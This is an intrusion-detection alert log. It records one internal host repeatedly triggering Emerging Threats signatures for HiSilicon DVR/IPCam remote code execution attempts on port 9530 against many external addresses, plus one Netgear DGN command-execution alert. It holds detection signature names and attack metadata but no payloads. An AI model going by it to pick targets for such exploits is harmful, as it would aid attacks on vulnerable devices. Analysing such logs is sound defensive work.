Timestamp:	05/16/24-16:38:53.011332
SID:	2030487
Source Port:	34482
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.224.39.225

Timestamp:	05/16/24-16:39:05.715303
SID:	2030488
Source Port:	49924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.224.39.225

Timestamp:	05/16/24-16:39:05.715303
SID:	2030487
Source Port:	49924
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 136.78.174.192

Timestamp:	05/16/24-16:39:16.605658
SID:	2030487
Source Port:	47802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 187.205.121.112

Timestamp:	05/16/24-16:38:59.559281
SID:	2030487
Source Port:	51690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 187.205.121.112

Timestamp:	05/16/24-16:38:59.559281
SID:	2030488
Source Port:	51690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 136.78.174.192

Timestamp:	05/16/24-16:39:16.605658
SID:	2030488
Source Port:	47802
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.155.0.75

Timestamp:	05/16/24-16:39:14.511713
SID:	2030488
Source Port:	33992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.155.0.75

Timestamp:	05/16/24-16:39:14.511713
SID:	2030487
Source Port:	33992
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 60.138.110.209

Timestamp:	05/16/24-16:38:59.558053
SID:	2030488
Source Port:	47690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 60.138.110.209

Timestamp:	05/16/24-16:38:59.558053
SID:	2030487
Source Port:	47690
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 217.98.216.59

Timestamp:	05/16/24-16:38:53.066951
SID:	2030487
Source Port:	52978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 217.98.216.59

Timestamp:	05/16/24-16:38:53.066951
SID:	2030488
Source Port:	52978
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 39.208.170.132

Timestamp:	05/16/24-16:38:50.063924
SID:	2030487
Source Port:	48340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 39.208.170.132

Timestamp:	05/16/24-16:38:50.063924
SID:	2030488
Source Port:	48340
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 112.179.136.159

Timestamp:	05/16/24-16:38:59.519359
SID:	2030487
Source Port:	36872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 199.50.250.122

Timestamp:	05/16/24-16:39:12.301264
SID:	2030488
Source Port:	45336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 199.50.250.122

Timestamp:	05/16/24-16:39:12.301264
SID:	2030487
Source Port:	45336
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.133.229.94

Timestamp:	05/16/24-16:39:08.149383
SID:	2030487
Source Port:	33724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.133.229.94

Timestamp:	05/16/24-16:39:08.149383
SID:	2030488
Source Port:	33724
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 65.194.195.112

Timestamp:	05/16/24-16:38:53.071619
SID:	2030488
Source Port:	43110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 86.90.221.161

Timestamp:	05/16/24-16:39:08.127292
SID:	2030488
Source Port:	41260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 65.194.195.112

Timestamp:	05/16/24-16:38:53.071619
SID:	2030487
Source Port:	43110
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 86.90.221.161

Timestamp:	05/16/24-16:39:08.127292
SID:	2030487
Source Port:	41260
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 82.137.239.208

Timestamp:	05/16/24-16:38:59.560288
SID:	2030488
Source Port:	52444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 82.137.239.208

Timestamp:	05/16/24-16:38:59.560288
SID:	2030487
Source Port:	52444
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 112.179.136.159

Timestamp:	05/16/24-16:38:59.519359
SID:	2030488
Source Port:	36872
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.212.251.228

Timestamp:	05/16/24-16:39:14.517429
SID:	2030487
Source Port:	58492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.142.99.199

Timestamp:	05/16/24-16:38:57.444117
SID:	2030487
Source Port:	39316
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Command Execution - Source IP: 192.168.2.23 - Destination IP: 51.38.6.128

Timestamp:	05/16/24-16:39:09.560216
SID:	2024916
Source Port:	52858
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Information Leak

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.212.251.228

Timestamp:	05/16/24-16:39:14.517429
SID:	2030488
Source Port:	58492
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 69.31.106.100

Timestamp:	05/16/24-16:39:05.705278
SID:	2030488
Source Port:	53116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 69.31.106.100

Timestamp:	05/16/24-16:39:05.705278
SID:	2030487
Source Port:	53116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 161.12.12.111

Timestamp:	05/16/24-16:38:59.588239
SID:	2030488
Source Port:	33518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 161.12.12.111

Timestamp:	05/16/24-16:38:59.588239
SID:	2030487
Source Port:	33518
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.47.59.138

Timestamp:	05/16/24-16:39:12.400937
SID:	2030487
Source Port:	46700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.47.59.138

Timestamp:	05/16/24-16:39:12.400937
SID:	2030488
Source Port:	46700
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 221.228.53.148

Timestamp:	05/16/24-16:39:12.303997
SID:	2030487
Source Port:	33096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 221.228.53.148

Timestamp:	05/16/24-16:39:12.303997
SID:	2030488
Source Port:	33096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.181.209.244

Timestamp:	05/16/24-16:38:55.207675
SID:	2030488
Source Port:	54120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 122.240.236.198

Timestamp:	05/16/24-16:39:16.597934
SID:	2030487
Source Port:	34282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.181.209.244

Timestamp:	05/16/24-16:38:55.207675
SID:	2030487
Source Port:	54120
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 201.154.15.234

Timestamp:	05/16/24-16:39:16.580835
SID:	2030488
Source Port:	53310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 122.240.236.198

Timestamp:	05/16/24-16:39:16.597934
SID:	2030488
Source Port:	34282
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 201.154.15.234

Timestamp:	05/16/24-16:39:16.580835
SID:	2030487
Source Port:	53310
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 190.21.89.149

Timestamp:	05/16/24-16:38:57.423122
SID:	2030487
Source Port:	44262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.134.49.66

Timestamp:	05/16/24-16:39:14.492333
SID:	2030487
Source Port:	50812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 190.21.89.149

Timestamp:	05/16/24-16:38:57.423122
SID:	2030488
Source Port:	44262
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.134.49.66

Timestamp:	05/16/24-16:39:14.492333
SID:	2030488
Source Port:	50812
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 205.30.186.1

Timestamp:	05/16/24-16:38:59.584404
SID:	2030488
Source Port:	49958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 205.30.186.1

Timestamp:	05/16/24-16:38:59.584404
SID:	2030487
Source Port:	49958
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 109.109.34.220

Timestamp:	05/16/24-16:38:55.193157
SID:	2030488
Source Port:	34562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 111.16.149.170

Timestamp:	05/16/24-16:38:57.305743
SID:	2030487
Source Port:	53568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 109.109.34.220

Timestamp:	05/16/24-16:38:55.193157
SID:	2030487
Source Port:	34562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 111.16.149.170

Timestamp:	05/16/24-16:38:57.305743
SID:	2030488
Source Port:	53568
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 100.0.70.250

Timestamp:	05/16/24-16:38:55.177041
SID:	2030488
Source Port:	53998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 100.0.70.250

Timestamp:	05/16/24-16:38:55.177041
SID:	2030487
Source Port:	53998
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 179.104.29.4

Timestamp:	05/16/24-16:38:50.076337
SID:	2030488
Source Port:	37226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 8.72.111.201

Timestamp:	05/16/24-16:39:08.146667
SID:	2030488
Source Port:	45096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 179.104.29.4

Timestamp:	05/16/24-16:38:50.076337
SID:	2030487
Source Port:	37226
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 8.72.111.201

Timestamp:	05/16/24-16:39:08.146667
SID:	2030487
Source Port:	45096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 123.61.117.54

Timestamp:	05/16/24-16:38:50.047560
SID:	2030487
Source Port:	59712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 123.61.117.54

Timestamp:	05/16/24-16:38:50.047560
SID:	2030488
Source Port:	59712
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 168.6.48.144

Timestamp:	05/16/24-16:38:59.587371
SID:	2030488
Source Port:	33794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.156.36.165

Timestamp:	05/16/24-16:38:59.557718
SID:	2030488
Source Port:	55694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.156.36.165

Timestamp:	05/16/24-16:38:59.557718
SID:	2030487
Source Port:	55694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 168.6.48.144

Timestamp:	05/16/24-16:38:59.587371
SID:	2030487
Source Port:	33794
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 85.9.47.239

Timestamp:	05/16/24-16:39:14.491255
SID:	2030488
Source Port:	57714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 85.9.47.239

Timestamp:	05/16/24-16:39:14.491255
SID:	2030487
Source Port:	57714
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 25.89.84.57

Timestamp:	05/16/24-16:39:14.492268
SID:	2030488
Source Port:	49028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 25.89.84.57

Timestamp:	05/16/24-16:39:14.492268
SID:	2030487
Source Port:	49028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.37.251.212

Timestamp:	05/16/24-16:39:02.727965
SID:	2030487
Source Port:	58684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 181.100.162.197

Timestamp:	05/16/24-16:39:12.298176
SID:	2030488
Source Port:	35146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.37.251.212

Timestamp:	05/16/24-16:39:02.727965
SID:	2030488
Source Port:	58684
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.46.111.52

Timestamp:	05/16/24-16:39:05.675959
SID:	2030487
Source Port:	55484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.46.111.52

Timestamp:	05/16/24-16:39:05.675959
SID:	2030488
Source Port:	55484
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 181.100.162.197

Timestamp:	05/16/24-16:39:12.298176
SID:	2030487
Source Port:	35146
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 197.228.101.90

Timestamp:	05/16/24-16:38:57.438397
SID:	2030488
Source Port:	43072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 197.228.101.90

Timestamp:	05/16/24-16:38:57.438397
SID:	2030487
Source Port:	43072
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 132.81.0.141

Timestamp:	05/16/24-16:39:16.599007
SID:	2030487
Source Port:	43838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 132.81.0.141

Timestamp:	05/16/24-16:39:16.599007
SID:	2030488
Source Port:	43838
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 98.45.213.91

Timestamp:	05/16/24-16:38:57.441215
SID:	2030487
Source Port:	39718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 209.63.130.20

Timestamp:	05/16/24-16:38:57.411404
SID:	2030488
Source Port:	60898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 121.0.193.240

Timestamp:	05/16/24-16:39:14.491254
SID:	2030488
Source Port:	33806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 209.63.130.20

Timestamp:	05/16/24-16:38:57.411404
SID:	2030487
Source Port:	60898
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 98.45.213.91

Timestamp:	05/16/24-16:38:57.441215
SID:	2030488
Source Port:	39718
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 121.0.193.240

Timestamp:	05/16/24-16:39:14.491254
SID:	2030487
Source Port:	33806
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 166.237.15.233

Timestamp:	05/16/24-16:39:02.767191
SID:	2030488
Source Port:	35096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 119.94.53.106

Timestamp:	05/16/24-16:39:12.298141
SID:	2030487
Source Port:	40948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 166.237.15.233

Timestamp:	05/16/24-16:39:02.767191
SID:	2030487
Source Port:	35096
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 119.94.53.106

Timestamp:	05/16/24-16:39:12.298141
SID:	2030488
Source Port:	40948
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 41.86.209.238

Timestamp:	05/16/24-16:38:55.193090
SID:	2030488
Source Port:	55230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 41.86.209.238

Timestamp:	05/16/24-16:38:55.193090
SID:	2030487
Source Port:	55230
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 32.114.2.16

Timestamp:	05/16/24-16:39:14.527286
SID:	2030488
Source Port:	52384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 32.114.2.16

Timestamp:	05/16/24-16:39:14.527286
SID:	2030487
Source Port:	52384
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 155.155.105.100

Timestamp:	05/16/24-16:39:05.702432
SID:	2030487
Source Port:	56528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 155.155.105.100

Timestamp:	05/16/24-16:39:05.702432
SID:	2030488
Source Port:	56528
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 191.80.81.30

Timestamp:	05/16/24-16:38:50.064003
SID:	2030488
Source Port:	43670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 191.80.81.30

Timestamp:	05/16/24-16:38:50.064003
SID:	2030487
Source Port:	43670
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

